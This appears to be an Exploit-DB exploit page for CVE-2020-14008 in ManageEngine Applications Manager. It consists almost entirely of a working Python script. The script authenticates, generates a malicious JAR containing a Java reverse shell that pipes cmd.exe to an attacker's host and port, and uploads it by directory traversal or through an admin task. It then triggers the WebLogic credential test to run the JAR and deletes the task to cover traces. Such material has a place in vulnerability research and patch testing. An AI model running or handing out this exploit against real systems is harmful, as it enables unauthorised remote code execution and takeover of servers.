ManageEngine Applications Manager 14700 – Remote Code Execution (Authenticated)

  • 作者: Hodorsec
    日期: 2020-09-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48793/
  • #!/usr/bin/python3
    
    # Exploit Title: ManageEngine Applications Manager 14700 - Remote Code Execution (Authenticated)
    # Google Dork: None
    # Date: 2020-09-04
    # Exploit Author: Hodorsec
    # Vendor Homepage: https://manageengine.co.uk
    # Vendor Vulnerability Description: https://manageengine.co.uk/products/applications_manager/security-updates/security-updates-cve-2020-14008.html
    # Software Link: http://archives.manageengine.com/applications_manager/14720/
    # Version: Until version 14720
    # Tested on: version 12900 and version 14700
    # CVE : CVE-2020-14008
    
    # Summary:
    # POC for proving ability to execute malicious Java code in uploaded JAR file as an Oracle Weblogic library to connect to Weblogic servers
    # Exploits the newInstance() and loadClass() methods being used by the "WeblogicReference", when attempting a Credential Test for a new Monitor
    # When invoking the Credential Test, a call is being made to lookup a possibly existing "weblogic.jar" JAR file, using the "weblogic.jndi.Environment" class and method
    
    # Vulnerable code:
    # Lines 129 - 207 in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java
    # 129 /* */ public static MBeanServer lookupMBeanServer(String hostname, String portString, String username, String password, int version) throws Exception {
    # 130 /* 130 */ ClassLoader current = Thread.currentThread().getContextClassLoader();
    # 131 /* */ try {
    # 132 /* 132 */ boolean setcredentials = false;
    # 133 /* 133 */ String url = "t3://" + hostname + ":" + portString;
    # 134 /* 134 */ JarLoader jarLoader = null;
    # 135 /* */ 
    # ....<SNIP>....
    # 143 /* */ }
    # 144 /* 144 */ else if (version == 8)
    # 145 /* */ {
    # 146 /* 146 */ if (new File("./../working/classes/weblogic/version8/weblogic.jar").exists())
    # 147 /* */ {
    # 148 /* */ 
    # 149 /* 149 */ jarLoader = new JarLoader("." + File.separator + ".." + File.separator + "working" + File.separator + "classes" + File.separator + "weblogic" + File.separator + "version8" + File.separator + "weblogic.jar");
    # 150 /* */ 
    # ....<SNIP>....
    # 170 /* 170 */ Thread.currentThread().setContextClassLoader(jarLoader);
    # 171 /* 171 */ Class cls = jarLoader.loadClass("weblogic.jndi.Environment");
    # 172 /* 172 */ Object env = cls.newInstance();
    
    # Example call for MAM version 12900:
    # $ python3 poc_mam_weblogic_upload_and_exec_jar.py https://192.168.252.12:8443 admin admin weblogic.jar 
    # [*] Visiting page to retrieve initial cookies...
    # [*] Retrieving admin cookie...
    # [*] Getting base directory of ManageEngine...
    # [*] Found base directory: C:\Program Files (x86)\ManageEngine\AppManager12
    # [*] Creating JAR file...
    # Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    # Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
    # added manifest
    # adding: weblogic/jndi/Environment.class(in = 1844) (out= 1079)(deflated 41%)
    # [*] Uploading JAR file...
    # [*] Attempting to upload JAR directly to targeted Weblogic folder...
    # [*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function!
    # [*] Running the Weblogic credentialtest which triggers the code in the JAR...
    # [*] Check your shell...
    
    # Function flow:
    # 1. Get initial cookie
    # 2. Get valid session cookie by logging in
    # 3. Get base directory of installation
    # 4. Generate a malicious JAR file
    # 5. Attempt to directly upload JAR, if success, jump to 7
    # 6. Create task with random ID to copy JAR file to expected Weblogic location
    # 7. Execute task
    # 8. Delete task for cleanup
    # 9. Run the vulnerable credentialTest, using the malicious JAR
    
    import requests
    import urllib3
    import shutil
    import subprocess
    import os
    import sys
    import random
    import re
    from lxml import html
    
    # Optionally, use a proxy
    # proxy = "http://<user>:<pass>@<proxy>:<port>"
    proxy = ""
    os.environ['http_proxy'] = proxy
    os.environ['HTTP_PROXY'] = proxy
    os.environ['https_proxy'] = proxy
    os.environ['HTTPS_PROXY'] = proxy
    
    # Disable cert warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Set timeout
    timeout = 10
    
    # Handle CTRL-C
    def keyboard_interrupt():
    """Handles keyboardinterrupt exceptions"""
    print("\n\n[*] User requested an interrupt, exiting...")
    exit(0)
    
    # Custom headers
    def http_headers():
    headers = {
    'User-Agent': 'Mozilla',
    }
    return headers
    
    def get_initial_cookie(url,headers):
    print("[*] Visiting page to retrieve initial cookies...")
    target = url + "/index.do"
    r = requests.get(target,headers=headers,timeout=timeout,verify=False)
    return r.cookies
    
    def get_valid_cookie(url,headers,initial_cookies,usern,passw):
    print("[*] Retrieving admin cookie...")
    appl_cookie = "JSESSIONID_APM_9090"
    post_data = {'clienttype':'html',
    'webstart':'',
    'j_username':usern,
    'ScreenWidth':'1280',
    'ScreenHeight':'709',
    'username':usern,
    'j_password':passw,
    'submit':'Login'}
    target = url + "/j_security_check"
    r = requests.post(target,data=post_data,headers=headers,cookies=initial_cookies,timeout=timeout,verify=False)
    res = r.text
    if "Server responded in " in res:
    return r.cookies
    else:
    print("[!] No valid response from used session, exiting!\n")
    exit(-1)
    
    def get_base_dir(url,headers,valid_cookie):
    print("[*] Getting base directory of ManageEngine...")
    target = url + "/common/serverinfo.do"
    params = {'service':'AppManager',
    'reqForAdminLayout':'true'}
    r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    tree = html.fromstring(r.content)
    pathname = tree.xpath('//table[@class="lrbtborder"]/tr[6]/td[2]/@title')
    base_dir = pathname[0]
    print("[*] Found base directory: " + base_dir)
    return base_dir
    
    def create_jar(command,jarname,revhost,revport):
    print("[*] Creating JAR file...")
    # Variables
    classname = "Environment"
    pkgname = "weblogic.jndi"
    fullname = pkgname + "." + classname
    manifest = "MANIFEST.MF"
    
    # Directory variables
    curdir = os.getcwd()
    metainf_dir = "META-INF"
    maindir = "weblogic"
    subdir = maindir + "/jndi"
    builddir = curdir + "/" + subdir
    
    # Check if directory exist, else create directory
    try:
    if os.path.isdir(builddir):
    pass
    else:
    os.makedirs(builddir)
    except OSError:
    print("[!] Error creating local directory \"" + builddir + "\", check permissions...")
    exit(-1)
    
    # Creating the text file using given parameters
    javafile = '''package ''' + pkgname + ''';
    
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.OutputStream;
    import java.net.Socket;
    import java.util.concurrent.TimeUnit;
    
    public class ''' + classname + ''' {
    
    // This method is being called by lookupMBeanServer() in com/adventnet/appmanager/server/wlogic/statuspoll/WeblogicReference.java
    // Uses the jarLoader.loadClass() method to load and initiate a new instance via newInstance()
    public void setProviderUrl(String string) throws Exception {
    System.out.println("Hello from setProviderUrl()");
    connect();
    }
    
    // Normal main() entry
    public static void main(String args[]) throws Exception {
    System.out.println("Hello from main()");
    // Added delay to notice being called from main()
    TimeUnit.SECONDS.sleep(10);
    connect();
    }
    
    // Where the magic happens
    public static void connect() throws Exception {
    String host = "''' + revhost + '''";
    int port = ''' + str(revport) + ''';
    String[] cmd = {"''' + command + '''"};
    
    Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
    Socket s=new Socket(host,port);
    InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    OutputStream po=p.getOutputStream(),so=s.getOutputStream();
    while(!s.isClosed()) {
    while(pi.available()>0)
    so.write(pi.read());
    while(pe.available()>0)
    so.write(pe.read());
    while(si.available()>0)
    po.write(si.read());
    so.flush();
    po.flush();
    
    try {
    p.exitValue();
    break;
    }
    catch (Exception e){
    }
    
    };
    p.destroy();
    s.close();
    }
    
    }'''
    
    # Output file to desired directory
    os.chdir(builddir)
    print(javafile,file=open(classname + ".java","w"))
    
    # Go to previous directory to create JAR file
    os.chdir(curdir)
    
    # Create the compiled .class file
    cmdCompile = "javac --release 7 " + subdir + "/*.java"
    process = subprocess.call(cmdCompile,shell=True)
    
    # Creating Manifest file
    try:
    if os.path.isdir(metainf_dir):
    pass
    else:
    os.makedirs(metainf_dir)
    except OSError:
    print("[!] Error creating local directory \"" + metainf_dir + "\", check permissions...")
    exit(-1)
    print("Main-Class: " + fullname,file=open(metainf_dir + "/" + manifest,"w"))
    
    # Create JAR file
    cmdJar = "jar cmvf " + metainf_dir + "/" + manifest + " " + jarname + " " + subdir + "/*.class"
    process = subprocess.call(cmdJar,shell=True)
    
    # Cleanup directories
    try:
    shutil.rmtree(metainf_dir)
    shutil.rmtree(maindir)
    except:
    print("[!] Error while cleaning up directories.")
    return True
    
    def upload_jar(url,headers,valid_cookie,jarname,rel_path):
    print("[*] Uploading JAR file...")
    target = url + "/Upload.do"
    path_normal = './'
    path_trav = rel_path
    jar = {'theFile':(jarname,open(jarname, 'rb'))}
    print("[*] Attempting to upload JAR directly to targeted Weblogic folder...")
    post_data = {'uploadDir':path_trav}
    r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False)
    res = r_upload.text
    if "successfully uploaded" not in res:
    print("[!] Failed to upload JAR directly, continue to add and execute job to move JAR...")
    post_data = {'uploadDir':path_normal}
    jar = {'theFile':(jarname,open(jarname, 'rb'))}
    r_upload = requests.post(target, data=post_data, headers=headers, files=jar, cookies=valid_cookie, timeout=timeout,verify=False)
    return "normal_path"
    else:
    print("[*] Copied successfully via Directory Traversal, jumping directly to call vulnerable function!")
    return "trav_path"
    
    def create_task(url,headers,valid_cookie,action_name,rel_path,work_dir):
    print("[*] Creating a task to move the JAR file to relative path: " + rel_path + "...")
    valid_resp = "Execute Program succesfully created."
    target = url + "/adminAction.do"
    post_data = {'actions':'/adminAction.do?method=showExecProgAction&haid=null',
    'method':'createExecProgAction',
    'id':'0',
    'displayname':action_name,
    'serversite':'local',
    'choosehost':'-2',
    'prompt':'$',
    'command':'move weblogic.jar ' + rel_path,
    'execProgExecDir':work_dir,
    'abortafter':'10',
    'cancel':'false'}
    r = requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    res = r.text
    found_id = ""
    if action_name in res:
    tree = html.fromstring(r.content)
    actionurls = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/@onclick')
    actionnames = tree.xpath('//table[@id="executeProgramActionTable"]/tr[@class="actionsheader"]/td[2]/a/text()')
    
    i = 0
    for name in actionnames:
    for url in actionurls:
    if action_name in name:
    found_id = re.search(".*actionid=(.+?)','", actionurls[i]).group(1) 
    print("[*] Found actionname: " + action_name + " with found actionid " + found_id)
    break
    i+=1
    return found_id
    else:
    print("[!] Actionname not found. Task probably wasn't created, please check. Exiting.")
    exit(-1)
    
    def exec_task(url,headers,valid_cookie,found_id):
    print("[*] Executing created task with id: " + found_id + " to copy JAR...")
    valid_resp = "has been successfully executed"
    target = url + "/common/executeScript.do"
    params = {'method':'testAction',
    'actionID':found_id,
    'haid':'null'}
    r = requests.get(target,params=params,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    res = r.text
    if valid_resp in res:
    print("[*] Task " + found_id + " has been executed successfully")
    else:
    print("[!] Task not executed. Check requests, exiting...")
    exit(-1)
    return
    
    def del_task(url,headers,valid_cookie,found_id):
    print("[*] Deleting created task as JAR has been copied...")
    target = url + "/adminAction.do"
    params = {'method':'deleteProgExecAction'}
    post_data = {'haid':'null',
    'headercheckbox':'on',
    'progcheckbox':found_id}
    r = requests.post(target,params=params,data=post_data,headers=headers,cookies=valid_cookie,timeout=timeout,verify=False)
    
    def run_credtest(url,headers,valid_cookie):
    print("[*] Running the Weblogic credentialtest which triggers the code in the JAR...")
    target = url + "/testCredential.do"
    post_data = {'method':'testCredentialForConfMonitors',
    'serializedData':'url=/jsp/newConfType.jsp',
    'searchOptionValue':'',
    'query':'',
    'addtoha':'null',
    'resourceid':'',
    'montype':'WEBLOGIC:7001',
    'isAgentEnabled':'NO',
    'resourcename':'null',
    'isAgentAssociated':'false',
    'hideFieldsForIT360':'null',
    'childNodesForWDM':'[]',
    'csrfParam':'',
    'type':'WEBLOGIC:7001',
    'displayname':'test',
    'host':'localhost',
    'netmask':'255.255.255.0',
    'resolveDNS':'False',
    'port':'7001',
    'CredentialDetails':'nocm',
    'cmValue':'-1',
    'version':'WLS_8_1',
    'sslenabled':'False',
    'username':'test',
    'password':'test',
    'pollinterval':'5',
    'groupname':''}
    
    print("[*] Check your shell...")
    requests.post(target,data=post_data,headers=headers,cookies=valid_cookie,verify=False)
    return
    
    # Main
    def main(argv):
    if len(sys.argv) == 6:
    url = sys.argv[1]
    usern = sys.argv[2]
    passw = sys.argv[3]
    revhost = sys.argv[4]
    revport = sys.argv[5]
    else:
    print("[*] Usage: " + sys.argv[0] + " <url> <username> <password> <reverse_shell_host> <reverse_shell_port>")
    print("[*] Example: " + sys.argv[0] + " https://192.168.252.12:8443 admin admin 192.168.252.14 6666\n")
    exit(0)
    
    # Do stuff
    try:
    # Set HTTP headers
    headers = http_headers()
    
    # Relative path to copy the malicious JAR file
    rel_path = "classes/weblogic/version8/"
    # Generate a random ID to use for the task name and task tracking
    random_id = str(random.randrange(0000,9999))
    # Action_name used for displaying actions in overview
    action_name = "move_weblogic_jar" + random_id
    # Working dir to append to base dir
    base_append = "\\working\\"
    # Name for JAR file to use
    jarname = "weblogic.jar"
    # Command shell to use
    cmd = "cmd.exe"
    
    # Execute functions
    initial_cookies = get_initial_cookie(url,headers)
    valid_cookie = get_valid_cookie(url,headers,initial_cookies,usern,passw)
    work_dir = get_base_dir(url,headers,valid_cookie) + base_append
    create_jar(cmd,jarname,revhost,revport)
    status_jar = upload_jar(url,headers,valid_cookie,jarname,rel_path)
    
    # Check if JAR can be uploaded via Directory Traversal
    # If so, no need to add and exec actions; just run the credentialtest directly
    if status_jar == "trav_path":
    run_credtest(url,headers,valid_cookie)
    # Cannot be uploaded via Directory Traversal, add and exec actions to move JAR. Lastly, run the vulnerable credentialtest
    elif status_jar == "normal_path":
    found_id = create_task(url,headers,valid_cookie,action_name,rel_path,work_dir)
    exec_task(url,headers,valid_cookie,found_id)
    del_task(url,headers,valid_cookie,found_id)
    run_credtest(url,headers,valid_cookie)
    
    except requests.exceptions.Timeout:
    print("[!] Timeout error\n")
    exit(-1)
    except requests.exceptions.TooManyRedirects:
    print("[!] Too many redirects\n")
    exit(-1)
    except requests.exceptions.ConnectionError:
    print("[!] Not able to connect to URL\n")
    exit(-1)
    except requests.exceptions.RequestException as e:
    print("[!] " + e)
    exit(-1)
    except requests.exceptions.HTTPError as e:
    print("[!] Failed with error code - " + e.code + "\n")
    exit(-1)
    except KeyboardInterrupt:
    keyboard_interrupt()
    
    # If we were called as a program, go execute the main function.
    if __name__ == "__main__":
    main(sys.argv[1:])